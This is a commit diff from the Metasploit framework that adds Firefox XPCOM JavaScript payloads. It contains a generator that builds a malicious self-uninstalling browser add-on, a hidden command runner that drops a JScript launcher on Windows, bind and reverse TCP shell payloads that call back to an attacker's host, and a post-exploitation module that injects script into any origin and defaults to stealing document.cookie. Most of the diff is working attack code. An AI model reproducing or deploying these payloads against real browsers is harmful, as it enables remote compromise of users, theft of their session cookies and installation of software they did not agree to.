Land #2827 - Add firefox js xpcom payloads for universal ff shells

bug/bundler_fix
sinn3r 2014-01-10 14:29:32 -06:00
commit cacd7ff9d4
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
11 changed files with 672 additions and 116 deletions

View File

@ -10,87 +10,102 @@
module Msf
module Exploit::Remote::FirefoxAddonGenerator
# for calling #generate_payload_exe
include Msf::Exploit::EXE
# Add in the supported datastore options
def initialize( info = {} )
def initialize(info={})
super(update_info(info,
'Platform' => %w{ java linux osx solaris win },
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
[ 'Universal (Javascript XPCOM Shell)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[ 'Windows x64 (Native Payload)',
{
'Platform' => 'windows',
'Arch' => ARCH_X64
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[ 'Linux x64 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X64
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Arch' => ARCH_PPC
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[ 'Mac OS X x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X64
}
]
],
'DefaultTarget' => 1
'DefaultTarget' => 0
))
register_options( [
OptString.new('ADDONNAME', [ true,
"The addon name.",
"HTML5 Rendering Enhancements"
]),
register_options([
OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]),
OptBool.new('AutoUninstall', [ true,
"Automatically uninstall the addon after payload execution",
true
])
])
], self.class)
end
# @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the
# 'application/x-xpinstall' MIME type
def generate_addon_xpi
if target.name == 'Generic (Java Payload)'
jar = p.encoded_jar
jar.build_manifest(:main_class => "metasploit.Payload")
payload_file = jar.pack
payload_name='payload.jar'
payload_script=%q|
var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
java.lang.System.setSecurityManager(null);
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
|
# @return nil if payload fails to generate
def generate_addon_xpi(cli)
if target.name =~ /Javascript/
payload_file = nil
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
payload_script = regenerate_payload(cli).encoded
else
payload_file = generate_payload_exe
return nil if payload_file.nil?
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
payload_script=%q|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(tmp);
process.run(false,[],0);
var process=Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
process.init(tmp);
process.run(false,[],0);
|
if target.name != 'Windows x86 (Native Payload)'
payload_script = %q|
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
var chmod=Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
chmod.initWithPath("/bin/chmod");
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
var process=Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
process.init(chmod);
process.run(true, ["+x", tmp.path], 2);
| + payload_script
@ -98,46 +113,54 @@ module Exploit::Remote::FirefoxAddonGenerator
end
zip = Rex::Zip::Archive.new
bootstrap_script = 'function startup(data, reason) {'
xpi_guid = Rex::Text.rand_guid
bootstrap_script = %q|
function startup(data, reason) {
var file = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("ProfD", Components.interfaces.nsIFile);
file.append("extensions");
|
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
bootstrap_script << %Q|payload_name="#{payload_name}";|
bootstrap_script << %q|
file.append(xpi_guid);
file.append(payload_name);
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("TmpD", Components.interfaces.nsIFile);
tmp.append(payload_name);
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
file.copyTo(tmp.parent, tmp.leafName);
|
if target.name !~ /Javascript/
bootstrap_script << %q|
var file = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("ProfD", Components.interfaces.nsIFile);
file.append("extensions");
|
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
bootstrap_script << %Q|payload_name="#{payload_name}";|
bootstrap_script << %q|
file.append(xpi_guid);
file.append(payload_name);
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("TmpD", Components.interfaces.nsIFile);
tmp.append(payload_name);
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
file.copyTo(tmp.parent, tmp.leafName);
|
end
bootstrap_script << payload_script
if (datastore['AutoUninstall'])
bootstrap_script << %q|
try { // Fx < 4.0
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
} catch (e) {}
try { // Fx 4.0 and later
Components.utils.import("resource://gre/modules/AddonManager.jsm");
AddonManager.getAddonByID(xpi_guid, function(addon) {
addon.uninstall();
});
} catch (e) {}
function uninstallMe() {
try { // Fx < 4.0
Components.classes["@mozilla.org/extensions/manager;1"]
.getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
} catch (e) {}
try { // Fx 4.0 and later
Components.utils.import("resource://gre/modules/AddonManager.jsm");
AddonManager.getAddonByID(xpi_guid, function(addon) {
addon.uninstall();
});
} catch (e) {}
}
uninstallMe();
|
end
bootstrap_script << "}"
zip.add_file('bootstrap.js', bootstrap_script)
zip.add_file(payload_name, payload_file)
zip.add_file(payload_name, payload_file) unless payload_file.nil?
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">

View File

@ -516,4 +516,12 @@ class Msf::Module::Platform
Rank = 100
Alias = "nodejs"
end
#
# Firefox
#
class Firefox < Msf::Module::Platform
Rank = 100
Alias = "firefox"
end
end

View File

@ -0,0 +1,191 @@
# -*- coding: binary -*-
require 'msf/core'
require 'json'
module Msf::Payload::Firefox
# Javascript source code of setTimeout(fn, delay)
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
def set_timeout_source
%Q|
var setTimeout = function(cb, delay) {
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
return timer;
};
|
end
# Javascript source code of readFile(path) - synchronously reads a file and returns
# its contents. The file is deleted immediately afterwards.
#
# @return [String] javascript source code that exposes the readFile(path) method
def read_file_source
%Q|
var readFile = function(path) {
try {
var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(path);
var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
.createInstance(Components.interfaces.nsIFileInputStream);
fileStream.init(file, 1, 0, false);
var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
.createInstance(Components.interfaces.nsIBinaryInputStream);
binaryStream.setInputStream(fileStream);
var array = binaryStream.readByteArray(fileStream.available());
binaryStream.close();
fileStream.close();
file.remove(true);
return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
} catch (e) { return ""; }
};
|
end
# Javascript source code of runCmd(str,cb) - runs a shell command on the OS
#
# Because of a limitation of firefox, we cannot retrieve the shell output
# so the stdout/err are instead redirected to a temp file, which is read and
# destroyed after the command completes.
#
# On posix, the command is double wrapped in "/bin/sh -c" calls, the outer of
# which redirects stdout.
#
# On windows, the command is wrapped in two "cmd /c" calls, the outer of which
# redirects stdout. A JScript "launch" file is dropped and invoked with wscript
# to run the command without displaying the cmd.exe prompt.
#
# When the command contains the pattern "[JAVASCRIPT] ... [/JAVASCRIPT]", the
# javascript code between the tags is eval'd and returned.
#
# @return [String] javascript source code that exposes the runCmd(str) method.
def run_cmd_source
%Q|
#{read_file_source}
#{set_timeout_source}
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
var windows = (ua.indexOf("Windows")>-1);
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
var runCmd = function(cmd, cb) {
cb = cb \|\| (function(){});
if (cmd.trim().length == 0) {
setTimeout(function(){ cb("Command is empty string ('')."); });
return;
}
var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());
if (js) {
var tag = "[!JAVASCRIPT]";
var sync = true; // avoid zalgo's reach
var sent = false;
var retVal = null;
try {
retVal = Function('send', js[1])(function(r){
if (sent) return;
sent = true
if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
else cb(false, r+tag+"\\n");
}
});
} catch (e) { retVal = e.message; }
sync = false;
if (retVal && !sent) {
sent = true;
setTimeout(function(){ cb(false, retVal+tag+"\\n"); });
}
return;
}
var shEsc = "\\\\$&";
var shPath = "/bin/sh -c"
if (windows) {
shPath = "cmd /c";
shEsc = "\\^$&";
var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0);
stream.write(jscript, jscript.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
stream.finish();
} else {
stream.close();
}
}
var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
stdout.append(stdoutFile);
if (windows) {
var shell = shPath+" "+cmd;
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
var b64 = svcs.btoa(shell);
} else {
var shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
if (windows) {
sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe");
process.init(sh);
var args = [jscriptFile.path, b64];
process.run(true, args, args.length);
jscriptFile.remove(true);
setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));});
} else {
sh.initWithPath("/bin/sh");
process.init(sh);
var args = ["-c", shell];
process.run(true, args, args.length);
setTimeout(function(){cb(false, readFile(stdout.path));});
}
};
|
end
# This file is dropped on the windows platforms to a temp file in order to prevent the
# cmd.exe prompt from appearing. It is executed and then deleted.
#
# @return [String] JScript that reads its command-line argument, decodes
# base64 and runs it as a shell command.
def jscript_launcher
%Q|
var b64 = WScript.arguments(0);
var dom = new ActiveXObject("MSXML2.DOMDocument.3.0");
var el = dom.createElement("root");
el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el);
var stream = new ActiveXObject("ADODB.Stream");
stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);
stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0;
var cmd = stream.ReadText();
(new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
|
end
end

View File

@ -64,29 +64,30 @@ LEV_3 = 3
#
# Architecture constants
#
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_X86_64 = 'x86_64'
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
ARCH_PPC = 'ppc'
ARCH_PPC64 = 'ppc64'
ARCH_CBEA = 'cbea'
ARCH_CBEA64 = 'cbea64'
ARCH_SPARC = 'sparc'
ARCH_CMD = 'cmd'
ARCH_PHP = 'php'
ARCH_TTY = 'tty'
ARCH_ARMLE = 'armle'
ARCH_ARMBE = 'armbe'
ARCH_JAVA = 'java'
ARCH_RUBY = 'ruby'
ARCH_DALVIK = 'dalvik'
ARCH_PYTHON = 'python'
ARCH_NODEJS = 'nodejs'
ARCH_TYPES =
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_X86_64 = 'x86_64'
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
ARCH_PPC = 'ppc'
ARCH_PPC64 = 'ppc64'
ARCH_CBEA = 'cbea'
ARCH_CBEA64 = 'cbea64'
ARCH_SPARC = 'sparc'
ARCH_CMD = 'cmd'
ARCH_PHP = 'php'
ARCH_TTY = 'tty'
ARCH_ARMLE = 'armle'
ARCH_ARMBE = 'armbe'
ARCH_JAVA = 'java'
ARCH_RUBY = 'ruby'
ARCH_DALVIK = 'dalvik'
ARCH_PYTHON = 'python'
ARCH_NODEJS = 'nodejs'
ARCH_FIREFOX = 'firefox'
ARCH_TYPES =
[
ARCH_X86,
ARCH_X86_64,
@ -107,7 +108,8 @@ ARCH_TYPES =
ARCH_RUBY,
ARCH_DALVIK,
ARCH_PYTHON,
ARCH_NODEJS
ARCH_NODEJS,
ARCH_FIREFOX
]
ARCH_ALL = ARCH_TYPES

View File

@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
include Msf::Exploit::Remote::FirefoxAddonGenerator
def initialize(info = {})
@ -57,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
def on_request_exploit(cli, request, target_info)
if request.uri.match(/\.xpi$/i)
print_status("Sending the malicious addon")
send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
else
print_status("Sending HTML")
send_response_html(cli, generate_html(target_info))
@ -76,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
<body>
#{datastore['CONTENT']}
<div id='payload' style='display:none'>
if (!window.done){
if (!window.done) {
window.AddonManager.getInstallForURL(
'#{get_module_uri}/addon.xpi',
function(install) { install.install() },

View File

@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::FirefoxAddonGenerator
def initialize( info = {} )
@ -20,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
This exploit dynamically creates a .xpi addon file.
The resulting bootstrapped Firefox addon is presented to
the victim via a web page with. The victim's Firefox browser
the victim via a web page. The victim's Firefox browser
will pop a dialog asking if they trust the addon.
Once the user clicks "install", the addon is installed and
@ -31,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
uninstall the addon once the payload has been executed.
},
'License' => MSF_LICENSE,
'Author' => [ 'mihi' ],
'Author' => [ 'mihi', 'joev' ],
'References' =>
[
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
@ -41,33 +40,30 @@ class Metasploit3 < Msf::Exploit::Remote
))
end
def on_request_uri( cli, request )
if not request.uri.match(/\.xpi$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
def on_request_uri(cli, request)
if request.uri.match(/\.xpi$/i)
# browser has navigated to the .xpi file
print_status("Sending xpi and waiting for user to click 'accept'...")
if not xpi = generate_addon_xpi(cli)
print_error("Failed to generate the payload.")
send_not_found(cli)
else
send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
end
else
# initial browser request
# force the user to access a directory-like URL
if not request.uri.match(/\/$/)
print_status("Redirecting request." )
send_redirect(cli, "#{get_resource}/")
else
# user has navigated
print_status("Sending response HTML." )
send_response_html(cli, generate_html)
end
print_status("Handling request..." )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
# If we haven't returned yet, then this is a request for our xpi,
# so build one
p = regenerate_payload(cli)
if not p
print_error("Failed to generate the payload.")
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found(cli)
return
end
print_status("Sending xpi and waiting for user to click 'accept'...")
send_response( cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' } )
handler( cli )
handler(cli)
end
def generate_html

View File

@ -0,0 +1,69 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/payload/firefox'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Firefox
def initialize(info={})
super(merge_info(info,
'Name' => 'Firefox XPCOM execute command',
'Description' => %Q|
Runs a shell command on the OS. Never touches the disk.
On Windows, this command will flash the command prompt momentarily.
You can avoid this by setting WSCRIPT to true, which drops a jscript
"launcher" to disk that hides the prompt.
|,
'Author' => ['joev'],
'License' => BSD_LICENSE,
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
))
register_options([
OptString.new('CMD', [true, "The command string to execute", 'touch /tmp/a.txt']),
OptBool.new('WSCRIPT', [true, "On Windows, drop a vbscript to hide the cmd prompt", false])
], self.class)
end
def generate
<<-EOS
(function(){
#{read_file_source if datastore['WSCRIPT']}
#{run_cmd_source if datastore['WSCRIPT']}
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
var windows = (ua.indexOf("Windows")>-1);
var cmd = (#{JSON.unparse({ :cmd => datastore['CMD'] })}).cmd;
if (#{datastore['WSCRIPT']} && windows) {
runCmd(cmd);
} else {
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
var args;
if (windows) {
sh.initWithPath("C:\\\\Windows\\\\System32\\\\cmd.exe");
args = ["/c", cmd];
} else {
sh.initWithPath("/bin/sh");
args = ["-c", cmd];
}
process.init(sh);
process.run(true, args, args.length);
}
})();
EOS
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/firefox'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Firefox
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Command Shell, Bind TCP (via Firefox XPCOM script)',
'Description' => 'Creates an interactive shell via Javascript with access to Firefox\'s XPCOM API',
'Author' => ['joev'],
'License' => BSD_LICENSE,
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'firefox',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
#
# Constructs the payload
#
def generate
super + command_string
end
#
# Returns the JS string to use for execution
#
def command_string
%Q|
(function(){
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var lport = #{datastore["LPORT"]};
var rhost = "#{datastore['RHOST']}";
var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
.createInstance(Components.interfaces.nsIServerSocket);
serverSocket.init(lport, false, -1);
var listener = {
onSocketAccepted: function(serverSocket, clientSocket) {
var outStream = clientSocket.openOutputStream(0, 0, 0);
var inStream = clientSocket.openInputStream(0, 0, 0);
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
.createInstance(Components.interfaces.nsIInputStreamPump);
pump.init(inStream, -1, -1, 0, 0, true);
pump.asyncRead(clientListener(outStream), null);
}
};
var clientListener = function(outStream) {
return {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
onDataAvailable: function(request, context, stream, offset, count) {
var data = NetUtil.readInputStreamToString(stream, count).trim();
runCmd(data, function(err, output) {
if(!err) outStream.write(output, output.length);
});
}
};
};
#{run_cmd_source}
serverSocket.asyncListen(listener);
})();
|
end
end

View File

@ -0,0 +1,67 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/firefox'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Firefox
include Msf::Sessions::CommandShellOptions
def initialize(info={})
super(merge_info(info,
'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',
'Description' => 'Creates an interactive shell via Javascript with access to Firefox\'s XPCOM API',
'Author' => ['joev'],
'License' => BSD_LICENSE,
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'firefox'
))
end
def generate
<<-EOS
(function(){
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var host = '#{datastore["LHOST"]}';
var port = #{datastore["LPORT"]};
var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]
.getService(Components.interfaces.nsISocketTransportService);
var socket = socketTransport.createTransport(null, 0, host, port, null);
var outStream = socket.openOutputStream(0, 0, 0);
var inStream = socket.openInputStream(0, 0, 0);
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
.createInstance(Components.interfaces.nsIInputStreamPump);
pump.init(inStream, -1, -1, 0, 0, true);
var listener = {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
onDataAvailable: function(request, context, stream, offset, count) {
var data = NetUtil.readInputStreamToString(stream, count).trim();
runCmd(data, function(err, output) {
if (!err) outStream.write(output, output.length);
});
}
};
#{run_cmd_source}
pump.asyncRead(listener, null);
})();
EOS
end
end

View File

@ -0,0 +1,85 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'json'
class Metasploit3 < Msf::Post
include Msf::Payload::Firefox
def initialize(info={})
super(update_info(info,
'Name' => 'Firefox XSS',
'Description' => %q{
This module runs the provided SCRIPT as javascript in the
origin of the provided URL. It works by navigating a hidden
ChromeWindow to the URL, then injecting the SCRIPT with Function.
The callback "send(result)" is used to send data back to the listener.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev' ],
'Platform' => [ 'firefox' ]
))
register_options([
OptString.new('SCRIPT', [true, "The javascript command to run", 'send(document.cookie)']),
OptPath.new('SCRIPTFILE', [false, "The javascript file to run"]),
OptString.new('URL', [
true, "URL to inject into", 'http://metasploit.com'
]),
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
], self.class)
end
def run
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
if results.present?
print_good results
else
print_error "No response received"
end
end
def js_payload
js = datastore['SCRIPT'].strip
%Q|
(function(send){
#{set_timeout_source}
var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
.getService(Components.interfaces.nsIAppShellService)
.hiddenDOMWindow;
hiddenWindow.location = 'about:blank';
var src = (#{JSON.unparse({ :src => js })}).src;
var key = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
hiddenWindow[key] = true;
hiddenWindow.location = "#{datastore['URL']}";
var evt = function() {
if (hiddenWindow[key]) {
setTimeout(evt, 200);
} else {
setTimeout(function(){
try {
send(hiddenWindow.Function('send', src)(send));
} catch (e) {
send("Error: "+e.message);
}
}, 500);
}
};
setTimeout(evt, 200);
})(send);
|.strip
end
end

View File

@ -0,0 +1,34 @@
require 'spec_helper'
require 'msf/core'
describe Msf::Exploit::Remote::FirefoxAddonGenerator do
let(:datastore) { { 'TARGET' => 0 } }
let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) }
let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) }
let(:framework) { double(:nops => nil) }
let(:cli) { double }
subject(:mod) do
mod = Msf::Exploit::Remote.allocate
mod.extend described_class
mod.extend Msf::Exploit::Remote::BrowserExploitServer
mod.send(:initialize, {})
mod.stub(
:payload => payload,
:regenerate_payload => payload,
:framework => framework,
:datastore => datastore
)
mod
end
describe '#generate_addon_xpi' do
let(:xpi) { mod.generate_addon_xpi(cli) }
it { should respond_to :generate_addon_xpi }
it 'should return an instance of Rex::Zip::Archive' do
xpi.should be_kind_of Rex::Zip::Archive
end
end
end